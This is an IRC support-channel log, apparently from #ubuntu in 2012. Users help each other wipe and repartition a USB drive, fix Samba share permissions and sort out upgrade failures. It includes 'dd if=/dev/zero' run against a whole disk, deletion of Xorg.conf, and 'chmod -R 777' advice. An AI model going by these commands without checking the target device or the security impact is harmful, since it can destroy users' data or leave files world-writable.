[16:55] <ecips> cfdisk /dev/blah
[16:55] <usr13> livingdaylight: open terminal, type  cfdisk /dev/sdc hit enter.
[16:56] <livingdaylight> usr13, i already did cfdisk and got  FATAL ERROR: Cannot open disk drive                                                                                   Press any key to exit cfdisk
[16:56] <livingdaylight> usr13, tried cfdisk /dev/sdc and got same error message
[16:56] <researcher123> where can I find Hosts file/folder?
[16:56] <ecips> ok - dd if=/dev/zero of=/dev/sdc bs=1024 count=1
[16:56] <usr13> livingdaylight: As Dr_Willis points out, you may have to write zeros to it first....
[16:57] <ecips> livingdaylight: THIS WILL WIPE THE DISK
[16:57] <livingdaylight> ecips, cool, that's the idea
[16:57] <livingdaylight> ecips, trying to put another bootable iso on it
[16:57] <livingdaylight> don't see why gparted can't see, delete and format it for me though?
[16:57] <usr13> livingdaylight: You only need gparted if you need to repartition in a non-destructive manor.
[16:58] <ecips> dodgy stuff where it expects to find the part. tbl
[16:58] <researcher123> I want t search a folder named Hosts. How do I give command?
[16:58] <usr13> livingdaylight: fdisk would more-than-likely do it for you.
[16:58] <ecips> researcher123: locate Hosts
[16:58] <ecips> assuming you have locate installed :)
[16:58] <usr13> livingdaylight: fdisk /dev/sdc
[16:58] <usr13> livingdaylight: sudo fdisk /dev/sdc
[16:59] <ecips> if not - apt-get install locate&&updatedb&&locate Hosts
[16:59] <philinux> ecips: locate is a default installed app
[16:59] <ecips> philinux: even with a base install?
[17:00] <livingdaylight> usr13, sudo fdisk /dev/sdc output : http://pastebin.com/C6UVshiM
[17:00] <ecips> researcher123: remember too - Hosts <> hosts
[17:00] <philinux> ecips: normal vanilla install yes
[17:00] <researcher123> ecips: thanks
[17:00] <ecips> livingdaylight: Thats what you want :)
[17:00] <usr13> livingdaylight: See, it works.
[17:00] <ecips> now partiton it and write
[17:00] <usr13> livingdaylight: p
[17:00] <usr13> livingdaylight: m
[17:01] <livingdaylight> usr13, what do I do now, please? sorrY
[17:01] <usr13> livingdaylight: n  for new partition.  t for type (l to list types)  etc....
[17:01] <usr13> livingdaylight: type   n    hit enter.
[17:02] <usr13> livingdaylight: type   p    hit enter, (to see what you have so far.)
[17:02] <jpwhiting> hey all, I'm creating a plymouth theme, and it's all packaged and such, but when it runs update-initramfs -u in the postinst script the plymouth hook is never called
[17:02] <livingdaylight> usr13, in gparted used to format it to fat32
[17:02] <jpwhiting> I see on my other ubuntu machine when I run update-initramfs -uv the plymouth hook gets called
[17:02] <researcher123> where is the file host 127.0.0.1 stored.How do I find it?
[17:02] <usr13> livingdaylight: Good, lable it as fat32 here.  Afterwards you can format it.
[17:02] <jpwhiting> is there some list of which hooks update-initramfs -u calls?
[17:03] <livingdaylight> sorry, how, usr13
[17:03] <ecips> researcher123: /etc/hosts
[17:03] <ecips> ?
[17:03] <researcher123> ecips: ok
[17:03] <livingdaylight> usr13, 'p' output: http://pastebin.com/NkHgfnUb
[17:04] <usr13> livingdaylight:  It is showing you that you have no partitions yet.
[17:04] <usr13> livingdaylight: n  for new.
[17:05] <hazamonzo_> Hey folks. I want to use secpanel (ssh, SCP gui) to manage my connections. In particular, i want to be able to create scp connections with the i- argument to pass over my .pem file. aaaanyway, i have the ssh connection working fine. I can't figure out the scp one though and there is very little on google. Any pointers ? :)
[17:05] <usr13> livingdaylight: Type  n   hit enter.  (If you only want one partition, just make one, hit enter, accept defaults....
[17:06] <usr13> livingdaylight: Then type t  to change partition type.
[17:06] <livingdaylight> usr13, 51 is for FAT32 it seems?
[17:07] <usr13> livingdaylight: c
[17:07] <usr13> livingdaylight: c   is for fat32
[17:07] <Dr_Willis> so many little variatnions of fat/vfat/fat32 ;)
[17:07] <fission6> what does this mean terminated with status 2
[17:07] <Dr_Willis> 'c' is the type i see normally used
[17:08] <livingdaylight> its gone already, what is 'c' ?
[17:08] <usr13> livingdaylight: c   is for fat32
[17:08] <Dr_Willis> t - type of partion. and its the designation for fat32
[17:08] <Dr_Willis> ;)
[17:08] <usr13> livingdaylight: You can do it again if you messed up.
[17:09] <usr13> livingdaylight: m    for list of options.
[17:09] <livingdaylight> usr13, looks like I might, have. will try again
[17:10] <usr13> livingdaylight: When you see that you have it like you want it, ( p  to print what you have on screen), the last step will be w  (to write new parition table).
[17:11] <usr13> livingdaylight: If you are using fdisk and think you have made a big mistake, don't hit   w    hit   q  (q  to quit without writing new partition table).
[17:12] <livingdaylight> usr13, i already wrote the partition. Now when I re-enter fdisk /dev/sdc and enter n it shows me the partitions rather than give option to start all over
[17:12] <ecips> dd again
[17:12] <usr13> (That's if you have realized that you're accessing wrong device and ton't want to loose data.)
[17:12] <livingdaylight> usr13, can I not unmount somehow so that gparted can do it easily for me? (instead)
[17:13] <AlexWaters1> i'm trying to get a file from one server to another. can I use scp with an ssh keypair? How could I do that? I tried scp ssh://user@host.com:/path/to/file.txt file.txt - but it just hangs
[17:13] <usr13> livingdaylight: n  is for new  (as in create new partition).
[17:13] <usr13> livingdaylight: have you made a partition?
[17:14] <usr13> livingdaylight: Have you made a partition and you only need to change the label? If so, sudo fdisk /dev/sdc   Hit t  and then c  and then w
[17:15] <livingdaylight> usr13, I'm staring at this: First sector (2048-15874047, default 2048):
[17:15] <usr13> livingdaylight: Yes, just hit enter.
[17:15] <bblz> hey. I have insanely sensitive hearing, and my CPU fan is blasting on full power all the time when I'm running Ubuntu (12.10). Does anyone have simple instructions on how to regulate fan speed according to temperature?
[17:16] <ecips> bblz: start with bios settings

[17:16] <bblz> ecips: got an Asus board with an AMD processor. Do you mean the C1E/Cool'n'Quiet settings?
[17:16] <usr13> livingdaylight: just hit enter.
[17:17] <livingdaylight> usr13, ok, now back to Command (m for help):
[17:18] <usr13> livingdaylight: Something's wrong though because first sector is 2048.  I don't know why that is.
[17:18] <usr13> livingdaylight: p
[17:18] <livingdaylight> usr13, :s
[17:18] <usr13> livingdaylight: You probably want to change partition type, (if it's not fat32).
[17:19] <usr13> livingdaylight: type p  (to Print on the screen what you have so far).
[17:20] <livingdaylight> usr13, just checked with gparted it says it requires sdc to have a partition. Presumably, it still doesnt' have one
[17:21] <livingdaylight> usr13, http://clip2net.com/s/2xK7w
[17:21] <livingdaylight> usr13, why can't I unmount it with sudo umount /dev/sdc and let gparted to its business?
[17:21] <livingdaylight> it (gparted) sees it but can't format it
[17:22] <ecips> mkdosfs
[17:22] <usr13> livingdaylight: You have yet to create any partitions.  I would have zeroed out the whole drive before I started.  Not just the first 1024.
[17:23] <lickalott> hello all, carrying on a convo from last night: Have 3 drives mounted via UUID in fstab and shared out via samba.  (we'll call them drive1, drive2, and drive3)  From a windows box I can map to all three but can only copy stuff to drive 1 and drive2.  when I go to copy to drive 3 i get "destination folder not assessible".  I've scanned fstab and smb.conf for permission and they are all the same
[17:23] <lickalott> .  I have "default" set for options inside fstab.  Anyone have any suggestions?
[17:23] <usr13> dd if=/dev/zero of=/dev/sdc
[17:23] <livingdaylight> usr13, ecips showed me to do this: sudo dd if=/dev/zero of=/dev/sdc bs=1024 count=1
[17:24] <livingdaylight> usr13, should I change bs= ?
[17:24] <usr13> livingdaylight: Yes, count=1  means that you only wrote zeros to the first 1024
[17:24] <usr13> livingdaylight: omit count=1
[17:24] <abdelhamied> bsdfgn
[17:24] <usr13> livingdaylight: you can also omit bs=1024
[17:24] <abdelhamied> vbn dv fgm
[17:24] <compdoc> lickalott, and the permissions on the folder the drive is mounted in?
[17:25] <lickalott> 777 (right now for troubleshooting purposes)
[17:25] <usr13> livingdaylight: You can do bs=4096
[17:25] <livingdaylight> usr13, I already hit ENTER
[17:25] <livingdaylight> what does bs=4096 do?
[17:25] <usr13> livingdaylight: After what command?
[17:25] <lickalott> to add a little....  I chmod -R 777 <folder> and got a screw off it's a "read only file system" error
[17:25] <livingdaylight> this is an 8gb hd
[17:26] <usr13> livingdaylight: I know.
[17:26] <livingdaylight> usr13, after sudo dd if=/dev/zero of=/dev/sdc
[17:26] <usr13> livingdaylight: Good.
[17:26] <livingdaylight> usr13, its still processing :p
[17:27] <usr13> livingdaylight: Yea, it will take a little bit becausee you did not do   bs=4096     or bs=2048    or  bs=1024   But it should be finished soon.  Right?
[17:28] <lickalott> compdoc, anything seem out of place to you?
[17:28] <mih1406> Hi, Does Ubuntu 12.04 localization files get update after the release date?
[17:29] <usr13> livingdaylight: bs=  just tells it how many bytes to do at a time.    If you specify bs=1024  it will finish at a certain time but if you do bs=2048 it will get done twice as fast, etc. etc.
[17:29] <compdoc> lickalott, cant say. you might pastebin.org your smb.conf file
[17:29] <lickalott> in work right now
[17:29] <usr13> livingdaylight: bs=4096 would proably only take a few seconds....
[17:30] <livingdaylight> usr13, it seems stuck
[17:30] <lickalott> compdoc - http://pastebin.com/8AEyh07e
[17:30] <usr13> livingdaylight: It's just taking a while. But you can start over if you want.
[17:30] <livingdaylight> usr13, i did it without bs and have not got the prompt back yet
[17:30] <wuffwuff> meow
[17:30] <lickalott> compdoc don't laugh at my share names.... ;p
[17:30] <livingdaylight> usr13, ok, lets just let it have another minute before interferring

[17:45] <lickalott> compdoc do the user passwords have to match?
[17:45] <lickalott> same user different passwords att
[17:45] <compdoc> lickalott, make sure you have a user and password with the same name as you log into windows with

[17:47] <pgib> Hello people. I'm having some trouble with 12.10 upgrade on my work computer (work fine on my personal laptop).  An overview of the error and my attempts so far are here:  http://pastie.org/5438276  Thanks!
[17:47] <lickalott> trying now.  thanks for your time man!
[17:48] <pgib> oops, "you have help broken packages" should be: "you have held broken packages"
[17:48] <sapharoth> away
[17:49] <sapharoth> quit
[17:49] <multu> why would ubuntu load busybox instead of my desktop on startup?
[17:49] <e\ectro> I'm currently running 12.10 and having an issue with nxserver and connecting remotely.  I'm using xfce4, but it doesn't display any text in the applications.  Its all just blank with buttons and no text.  Has anyone run into this problem?
[17:49] <LucidLuna> @pgib have you tried sudo apt-get remove update-manager && sudo apt-get install update-manager ?
[17:49] <pgib> multu, what desktop manager are you running? You may have to choose the environment you want
[17:49] <lickalott> compdoc, not seeing "valid users"
[17:49] <Rosbuntu>  it doesnt take passowd in password boxes after logging on in kubuntu.. only terminal takes password , why?
[17:49] <mih1406> Hi, Does Ubuntu 12.04 localization files get update after the release date?
[17:50] <compdoc> lickalott, what do you mean?
 lickalott, change the valid users to a real username
[17:50] <LucidLuna> @ e\ectro are you using vnc to connect to your server remotely?
[17:50] <melter> does anyone know if it's possible to get dhcpcd5 to request a specific ip from a dhcp server? (not a static ip, just a polite request for a specific dynamic ip if it's not already assigned to someone else)
[17:50] <pgib> LucidLuna, no... that sounds a bit odd since I thought update-manager is just a shell around dpkg.. but I can try
[17:50] <multu> pgib I'm running the default gnome/unity on 12.04. Computer just started doing this today
[17:51] <compdoc> lickalott, is the share section at the bottom, I added a line valid users =
[17:51] <lickalott> AHHHH
[17:51] <pgib> multu, so probably lightdm.. click the little icon next to your username after choosing the username (or look at the bottom of the screen for choices)
[17:51] <compdoc> one for each share
[17:52] <multu> pgib:  I dont even get to the login/splash. grub takes me straight to busybox/ash
[17:52] <lickalott> you nailed it.  that's my username
[17:53] <pgib> multu, oh.. that's cool..

[17:53] <e\ectro> Anyone know how to fix this issue of no icons?  http://i1359.photobucket.com/albums/q783/bildz/ubuntu1210.jpg
[17:53] <multu> pgib: just started happening this morning. no idea why its doing this
[17:53] <lickalott> this is how I got that nick - http://www.check-six.com/lib/Drinks/JeremiahWeed.htm
[17:54] <pgib> LucidLuna, same problem
[17:54] <LucidLuna> :(
[17:55] <LucidLuna> have you tried upgrading with sudo do-release-upgrade
[17:55] <compdoc> lickalott, I think with win 7, theres a registry setting I had to change too, but if you can open any of the shares, maybe you dont need to
[17:55] <lickalott> compdoc same.. "Destination folder Access denied" for that 1 share.
[17:55] <lickalott> gotta run for 10 mins.  brb
[17:56] <LucidLuna> @pgib have you tried upgrading with sudo do-release-upgrade ?
[17:56] <e\ectro> anyone seen that problem where their icons have no text?
[17:56] <e\ectro> even pop ups
[17:58] <e\ectro> I've stumped you all :)
[17:58] <e\ectro> even myself
[18:00] <jrib> e\ectro: create fresh new user, see if problem persists :)  Also, does this happen if you don't use NX?
[18:00] <e\ectro> good call
[18:00] <e\ectro> i can just move the .xfce folder
[18:01] <jrib> e\ectro: new user will give more information if just moving .xfce doesn't change anything
[18:02] <pgib> LucidLuna, no, but I just did, and it returns the same result. And you just quit... great.  Wow, this is pissing me off
[18:02] <pgib> I do have a dev repository included.. is that throwing it off? how can I get around that?  They do have an quantal branch
[18:03] <usr13> Why would someone have  ~ %   instead of   $  at a terminal prompt?
[18:04] <pgib> usr13, because they use a different prompt or shell than you do?
[18:04] <fanta05> !ciao
[18:04] <jrib> usr13: they changed their prompt.  Or they are just using a different shell with a different default prompt (zsh will have % by default)
[18:04] <e\ectro> jrib: testing now with a new user
[18:06] <e\ectro> jrib: didnt fix it
[18:07] <jrib> e\ectro: is it possible for you to try without NX to see if it's the culprit?
[18:07] <e\ectro> not remotely :(
[18:09] <Mulettinoasda> Hellooooooooooo!!!
[18:09] <Mulettinoasda> Can anyone help me compiling kexec as a module?
[18:09] <MonkeyDust> !find kexec
[18:10] <K350> where's the location of gnome's window-decorator?
[18:11] <pgib> K350, as in the path to the main binary?
[18:11] <jrib> e\ectro: what ubuntu version?  Version of freenx?  How did you install freenx?  There are some hits on google about missing fonts when using freenx and some suggestions about how to address it
[18:12] <K350> pgib: Eh, I mean where's the themes for the window-decorator located?
[18:13] <pgib> K350, probably in /usr/share
[18:13] <RD_> RD1
[18:14] <belgianguy> is there an app/widget type of thing for Ubuntu 12.10 to monitor the worst offenders by RAM usage or processor usage?
[18:14] <pgib> belgianguy, there is always good ole 'top'
[18:14] <belgianguy> I'm experiencing a hangup problem, and don't know what causes it
[18:14] <RD1> belgian have you looked at system monitor ?
[18:14] <belgianguy> my mouse seems to slow down terribly before the system locks up completely
[18:15] <belgianguy> and I can't even get to tty1
[18:15] <belgianguy> RD1: I used to have such a widget in the menu bar
[18:15] <belgianguy> but those I can't find
[18:15] <K350> pgib: Ok, there they're Hm at least the gnome themes.
[18:16] <belgianguy> what was that about?
[18:16] <pgib> what?
[18:16] <belgianguy> anyone else seeing their posts repeated by -kerm-ekhar-
[18:17] <belgianguy> is there an op here?
[18:17] <pgib> belgianguy, -kerm-ekhar- just told me my post was bullshit... not sure either..
[18:17] <RD1> i am running 12.1 also, it has system monitor on it, but am using gnome desktop, so i can find it
[18:17] <belgianguy> pgib: yeah was a spammer probably
[18:18] <belgianguy> he was posing as freenode staff
[18:18] <belgianguy> hope this paste won't get my kb'ed
[18:18] <RD1> is there anyone about who can help with some samba woes ?  it;s been kicking my butt all day
[18:18] <K350> What tool to use to change gnome's default window-decorator?
[18:18] <pgib> belgianguy, seriously though, stop using <enter> as punctuation. it gets annoying
[18:18] <minimec> belgianguy: for debugging of 'screen/mouse freezes', I would recommend to install the ssh server and the software htop. Then login with a different computer to the machines, that freezes via ssh, and check its cpu/ram usage with htop.
[18:19] <belgianguy> pgib: pet peeve of mine, I'll try to pay attention
[18:19] <belgianguy> thanks minimec, I'll try that
[18:23] <pgib> Just for anyone who was following my issue (in case you have the same issue, or a n00bz0r asks the same thing)  I ran into "E:Unable to correct problems, you have held broken packages".  I just started systematically purging PPAs with purge-ppa, then it eventually worked.  Hopefully I can add the PPAs back once the install is done and not have anything catastrophic happen  (I was using xorg-edgers due to some funky issues with my nvidia quattro / 3 moni
[18:23] <pgib> tor setup; I needed to use xinerama instead of xrandr)
[18:24] <poglesbyg> whois
[18:24] <vantage|home> hi anyone knows this distro? is it ubuntu with a theme? http://www.youtube.com/watch?v=RcsoX87CKz0&list=UUb01_8q5VNjWpFZgMyRlYnw&index=1&feature=plcp
[18:24] <winb_> lol wtf happened
[18:25] <pgib> vantage|home, looks like stock XFCE desktop, or maybe xubuntu-desktop
[18:25] <vantage|home> pgib, hmm, ok thanks a lot :)
[18:26] <vantage|home> is there a karma bot in the channel?
[18:26] <pgib> vantage|home, xubuntu is actually my distro of choice since I cannot stand newer Gnomes or Unity *AT ALL*
[18:26] <vantage|home> yeah I can imagine
[18:26] <vantage|home> it works a lot faster :)
[18:26] <bazhang> vantage|home, no
[18:26] <vantage|home> bazhang, allright too bad
[18:27] <pgib> vantage|home, check out xubuntu-12.10 if you want to try a new install.  You can also install xubuntu-desktop if you are running ubuntu.  It is just xfce-4.10 with some preconfigured settings and extra replacement apps for stuff not in xfce
[18:28] <vantage|home> pgib, makes me wonder do you like fluxbox, icewm, ... ?
[18:28] <savio> hi
[18:28] <pgib> vantage|home, I used to use fluxbox. it has fallen too far behind the times for me, sadly
[18:29] <vantage|home> myeah that's true
[18:29]  * vantage|home has dinner
[18:29] <vantage|home> see you in a moment :)
[18:29] <pgib> you know where I work?
[18:30] <nitin> nitin
[18:31] <pgib> so we've dissolved to people just saying their own names..
[18:32] <savio> pgib, that's not true :)
[18:32] <AsaShI> e.e
[18:33] <hitesa> anyone here from netherlands?
[18:33] <AsaShI> I'm spanish and I don't understand jajajaja
[18:33] <jrib> !nl | hitesa
[18:33] <bazhang> hitesa, #ubuntu-nl for nederlands
[18:34] <bazhang> bots gone jrib
[18:34] <AsaShI> The translator is useful :P
[18:34] <jrib> ubottu, you were a good bot... you will be missed
[18:34] <hitesa> AsaShI is there any IT demand in spain?
[18:34] <hitesa> I'm from portugal
[18:34] <RD1> any networking guys around? have some trouble with samba, i cannot access network locations, i can see computers on the network, but cant get access to anything including this machine on the network
[18:34] <AsaShI> Jajajaja
[18:35] <AsaShI> Mmmm... Spain is in "crisis", everything goes wrong.
[18:35] <Dr_Willis> RD1:  how are you trying to access the location?
[18:35] <bazhang> AsaShI, thats offtopic here
[18:36] <RD1> by going to the network link from places, also have tried from 2 different win7 machines
[18:36] <AsaShI> More or less.
[18:36] <bazhang> AsaShI, chit chat in #ubuntu-offtopic NOT here
[18:36] <AsaShI> In my house we eat rice and chicken almost every day.
[18:38] <DeLorean731> Is this possible? I want to put my Ubuntu computer to sleep and be able to boot into another partition on the save drive. What I'm trying to do it keep all the current applications I have open open while booting into another partition.
[18:38] <Dr_Willis> RD1:  try accessing them via their ip# instead of the server name. also make sure you can ping the machines via ip#
[18:38] <Dr_Willis> RD1:  using the nautulus file manager you can use ctrl-l to show the address bar and enter smb://ip.of.the.server/sharename   (or just try the ip)
[18:38] <jrib> DeLorean731: suspend to disk.  My experience has been hit or miss with it...
[18:38] <DeLorean731> jrib: thank you sir (:
[18:39] <jrib> DeLorean731: I think it uses the swap partition though, so you might need different swap partitions
[18:39] <Dr_Willis> there used to be a 'session' feautre to save what apps you had opened.. but i dont recall it ever working very well.
[18:40] <RD1> i can get to the computers in network view, but none of the windows boxes  will accept passwords, is strange, do you want me to try to ping the windows machines from here, or the ubuntu machine from a win7 box ?
[18:40] <jrib> DeLorean731: I have no idea if the feature is exposed by default anymore, check the menu where you power off
[18:42] <RD1> tried from a windows box, i get a ping reply from this box
[18:42] <tinti> Hi is google down?
[18:42] <fego> tinti: http://www.downforeveryoneorjustme.com/
[18:43] <tinti> fego: at least where I am it is down
[18:43] <Dr_Willis> RD1:  make sure they can ping each other. ;) to insure they are networked.. but it sounds like they are.
[18:44] <RD1> yes, i just tried a return ping from this comp, and both computers are reachable via ping
[18:44] <tinti> fego: thanks. quite nice3
[18:44] <Dr_Willis> RD1:  its possible the windows firewall is messing with stuff as well. You could disable it tempararly.
[18:44] <fego> tinti: you are welcome :)
[18:45] <Dr_Willis> RD1:  if theres more then one ubuntu box on the network you may want to setup some guest shares and see if they can acces each other.
[18:45] <jackbrownhf> I just installed ubuntu 12.10 but my mouse Logitech M515 doesn't work, on another laptop with Linux Mint 11 it works like charm
[18:46] <vantage|dinner> back
[18:47] <vantage|home> pgib, no, where do you work?
[18:47] <hilarie> I think I found a bug in /proc/net/dev where would I report that?
[18:48] <RD1> if i go to network places on this machine should i be able to open up my oen shares from there ?
[18:48] <vantage|home> pgib made vantage|home curious
[18:48] <pgib> vantage|home, just wondering how you would "see me" in a few
[18:48] <vantage|home> pgib, how do you mean?
[18:49] <jackbrownhf> I just installed ubuntu 12.10 but my mouse Logitech M515 doesn't work, on another laptop with Linux Mint 11 it works like charm
[18:49] <Dr_Willis> !find mtpfs
[18:49] <vantage|home> pgib, *badaboom* *tssss*
[18:49] <Dr_Willis> ;(
[18:49] <vantage|home> pgib, I got it xD
[18:50] <Dr_Willis> RD1:  ive had where the ip# to the share works.. but the hostname to it does not.
[18:53] <vantage|home> nasty button
[18:53] <minimec> jackbrownhf: Don't repeat yourself... ;) This could be a solution. http://th0th.me/log/pairing-logitech-unifying-devices-on-gnulinux/ Maybe the kernel driver changed. 'mint 11' was based on ubuntu 11.04
[18:53] <vantage|home> power button on laptop, hit it accidently and *bam* the whole system shuts down
[18:53] <amglassner> Hello, I am wondering how to dual boot Ubuntu with Windows 8 preloaded on a laptop.  I am entirley new to Windows 8 and the new UEFI program.  Is there anyway to do this?
[18:54] <jackbrownhf> minimec: solved
[18:55] <RD1> i just tried disabling the firewall, i had no luck, earlier i was able to connect to a winxp box and copy the network files there, maybe it is an issue with windows 7, or the way samba communicates with it.
[18:56] <l0st1me> hello?
[18:56] <SwedeMike> !hi | l0st1me
[18:56] <l0st1me> Is there a way to get ubuntu linux to run on a Toshiba satellite laptop?
[18:56] <SwedeMike> l0st1me: most likely yes.
[18:56] <Walex2> l0st1me: installation.
[18:56] <l0st1me> SwedeMike, you wouldn't happen to know how, by chance?
[18:56] <SwedeMike> l0st1me: have you tried it?
[18:56] <gordonjcp> l0st1me: probably much the same as for any other computer
[18:57] <l0st1me> The livecd option needs hacking.
[18:57] <SwedeMike> hacking how?
[18:57] <gordonjcp> l0st1me: what spec is the machine?
[18:57] <l0st1me> My screen goes berzerk.
[18:57] <l0st1me> The Toshiba model is C655D.
[18:57] <gordonjcp> that doesn't really tell me anything
[18:57] <l0st1me> The processor gives an error, everytime.
[18:57] <l0st1me> AMD CPU 64-bit.
[18:57] <gordonjcp> oh, that should be fine
[18:58] <SwedeMike> l0st1me: what error is that?
[18:58] <l0st1me> Windows  7 preinstalled.
[18:58] <l0st1me> That might be my problem, all together.
[18:58] <l0st1me> I've tried a few things, and can maintain an uptime of about 5 minutes, but that's it.
[18:59] <l0st1me> I was afraid of that, I need newer equipment.
[18:59] <l0st1me> Any recommendations on a linux box?
[18:59] <l0st1me> Thanks, SwedeMike.
[18:59] <gordonjcp> l0st1me: I recommend you start answering the questions people ask ;-)
[18:59] <l0st1me> gordonjcp, what's your question?
[19:00] <gordonjcp> l0st1me: well SwedeMike asked what the error was
[19:00] <l0st1me> The cpu was not recognized as 64 bit, error.
[19:00] <gordonjcp> o_O
[19:00] <l0st1me> However, it is.  cpuid.
[19:01] <budmang> Hey Guys. 12.10 laptop, randomly my wired network stopped working/showing up in the network manager.. any ideas? ive uninstalled reinstalled used different versions of the networkmanager nothing
[19:01] <gordonjcp> l0st1me: there's not something in the BIOS to lock it to 32-bit, or some similar madness?
[19:01] <l0st1me> gordonjcp, I think it's an incompatibility issue.
[19:01] <l0st1me> gordonjcp, I think I'll get a new one.
[19:01] <l0st1me> Usually I can hack it in, but not on this one.
[19:01] <l0st1me> Maybe it's me, limited knowledge base.
[19:02] <gordonjcp> l0st1me: it's way newer than my laptop, or my desktop
[19:02] <SwedeMike> l0st1me: try 32bit install then and see if that work.
[19:02] <l0st1me> That is not an option, it doesn't even run many win32 programs.
[19:02] <gordonjcp> maybe it's faulty then
[19:03] <l0st1me> The version of windows is 64-bit, and no 32 bit cd to use, either.
[19:03] <l0st1me> I was hoping that virtual machine from livelinuxusb would get around it, but it didn't.
[19:04] <minimec> l0st1me: Your computer doesn't love linux at all... I found this. Read 'Discussion' http://www.linlap.com/toshiba_satellite_c655d
[19:04] <rented_tux> hi everyone. Is this an appropriate place to get some help re: installing bootloader to USB drive when usb-gtk-creator crashes?
[19:05] <l0st1me> minimec, thank you.
[19:05] <Dr_Willis> rented_tux:  it is. theres alternatives to that tool also at the pendrivelinux and other sites
[19:05] <l0st1me> The main problem seems to be errors, and misidentified chipsets
[19:05] <pconwell> Anyone use crashplan? I bought it on sale the other day, and I'm having issues getting the gui to start.
[19:05] <rented_tux> thx dr_willis i'll check it out..
[19:06] <gordonjcp> l0st1me: if you're off to buy a laptop with similar spec, pick up an old Macbook
[19:06] <l0st1me> I was hoping there was a workaround, but I guess not.  Thanx again guys.  Bye
[19:12] <bulletrulz> lol when i press caps lock it types this\9-75

[19:14] <kiwi-foobar> I have a problem with an upgrade from 12.04 to 12.10 can anyone here help. It looks like the window manager does not start correctly.  In fact compiz crashes I have got almost _no_ gui access but I can reboot into root shell. Installed ccsm and check to see if the unity plug in was installed and enabled, which it was	Removed my nvidia card;	sudo apt-get remove --purge "nvidia-*";	sudo rm /etc/X11/Xorg.conf; but still no go
[19:15] <ecips> kiwi-foobar: Errors in log files?
[19:15] <ecips> kiwi-foobar: ~/.xsession-errors
[19:16] <Guest61274> hi
[19:19] <shanttu> What is the program that has a gui to configure actions (for example "when vga inserted, run this command"). Introduced on omgubuntu earlier this year
[19:20] <kiwi-foobar> I will look at the ~/.xsessions-errors tonight is there anything else that I can look at
[19:20] <Dr_Willis> shanttu:  it used to be HAL. but i forget what its called now
[19:20] <ecips> kiwi-foobar: log files :)
[19:21] <Dr_Willis> shanttu: let me look a bit. ;)
[19:21] <ecips> kiwi-foobar: /var/log/Xorg.0.log too perhaps
[19:21] <shanttu> Dr_Willis, of course. Thanks. One should always take notes when seeing something interesting
[19:22] <kiwi-foobar> Ok I will get them tonight. Thanks for you help
[19:22] <BlueWolf> Hi there, I was recently working on an older computer that has XP and I was working with a spread Sheet. Now when I open it up in both Windows 7 and Ubuntu 10.04 all my hard work is in Question Marks. The file type is
[19:22] <BlueWolf> .xls? How can if fix this problem as all my work is on there? Unfortunately the computer I did it on is not mine and in another city by now.
[19:24] <rds_> hai guys is there any application that can use to chat via ubuntu with my phone ?
[19:25] <Dr_Willis> shanttu:  i always do delicious.com bookmarks to tag stuff ;)
[19:25] <kiwi-foobar> ecips Thanks for your help - will you be back here tomorrow
[19:25] <kiwi-foobar> whois ecips
[19:25] <ecips> possibly ;)
[19:26] <ecips> but probably not at this time :)
[19:26] <ecips> Tue Nov 27 03:26:13 WST 2012
[19:26] <ecips> I  just forgot to go to bed tonight :)
[19:27] <InspectorCluseau> BlueWolf, http://libreoffice.turbolinux.org/tag/xls
[19:28] <InspectorCluseau> BlueWolf, Maybe some help there.
[19:28] <BlueWolf> InspectorCluseau: Thanks I will look through it. Do you know why it would do that?
[19:29] <InspectorCluseau> M$ issue?
[19:31] <Dr_Willis> rds_:  that google voice stuff works with Ubuntu. You can dial phones with it. ;)
[19:33] <rds_> Dr_Willis, I tried it but in my country it is not working as other network service !
[19:34] <lickalott> awww man...compdoc blasted?
[19:35] <rds_> Dr_Willis, and also I tried wammu i can send sms from it but when a new sms receive   there is no notification in that app
[19:35] <lickalott> i'm still in need of assistance if anyone is willing to pick up where compdoc left off...
[19:35] <lickalott> Have 3 drives mounted via UUID in fstab and shared out via samba.  (we'll call them drive1, drive2, and drive3)  From a windows box I can map to all three but can only copy stuff to drive 1 and drive2.  when I go to copy to drive 3 i get "destination folder not assessible".  I've scanned fstab and smb.conf for permission and they are all the same.  I have "default" set for options inside fstab
[19:35] <lickalott> .  Anyone have any suggestions?
[19:36] <jackbrownhf> hey
[19:36] <lickalott> i've edited smb.conf per compdocs suggestion but still get denied
[19:36] <pgib> lickalott, freespace?
[19:36] <jackbrownhf> I can't find additiona driver installation on 12.10 for Nvidia driver I have a Nvidia 650M GT
[19:36] <lickalott> plenty
[19:37] <lickalott> 386 of 485 free (gb)
[19:37] <lickalott> going on two days of troubleshooting now.
[19:38] <xtremefresh> lickalott, permission of the drive
[19:38] <pgib> what are the real names of the exports? Perhaps there is some special reserved character or such in the name?  Do the shares work from another linux-box through samba?  Finally, what about actual filesystem permissions? Have write and execute permission on the directory? what about ACL?
[19:38] <pgib> ^ lickalott
[19:38] <themhz> hello, can someone tell me if there is an add-on for libreoffice so I can type my math symbols ?
[19:39] <lickalott> xtremefresh folders are all 777, drives via fstab are "default" for options.
[19:39] <lickalott> pgib did you see the pastebin?
[19:39] <pgib> themhz, I don't know about libreoffice, but I can recommend LaTeX for writing math expressions and such. But I am a huge fan of TeX, so sorry to step around your issue
[19:40] <lickalott> it worked in the past.  which is the weird part.
[19:40] <lickalott> no ACL's
[19:40] <rented_tux> themhz check out TexMaths or Writer2LaTex
[19:40] <lickalott> the other 2 drives accept transfers fine
[19:40] <themhz> pgib,  no problem, I should check that in software center?
[19:40] <pgib> lickalott, repost pastebin please
[19:41] <lickalott> when I tried to chmod -R 777 /media/WOLVERINE it got "file system is read only permission denied"
[19:41] <lickalott> http://pastebin.com/DP37r6mP
[19:41] <lickalott>  http://pastebin.com/1g7PpYgz
[19:41] <fission6> if i symlink tp a file and in that file are references to other file paths are they relative to where the file actual exists or where th symlink is
[19:42] <soapbubble> йо
[19:42] <pgib> themhz, yeah texlive or texlive-full.  But this isn't WYSIWYG... it is very popular among mathematicians and compsci for papers, journals, and books though.
[19:42] <pgib> themhz, and the results look superior to any other packages I have ever used
[19:42] <InspectorCluseau> http://roland65.free.fr/texmaths/
[19:43] <pgib> fission6, depends if your program in question "dereferences" the symlink or not.  In general: relative to the symlink
[19:43] <themhz> pgib,  ok I will check it out, thanx
[19:43] <InspectorCluseau> themhz, ^
[19:43] <pconwell> Anyone use crashplan? I bought it on sale the other day, and I'm having issues getting the gui to start.
[19:43] <xtremefresh> lickalott it really sounds like a owner issue
[19:44] <lickalott> from where xtremefresh?  the local folder side or the fstab side?
[19:46] <xtremefresh> lickalott, check both, and see if any diff from one drive to next
[19:46] <lickalott> i don't see anything.
[19:46] <fission6> thanks glebihan_
[19:47] <fission6> pgib:
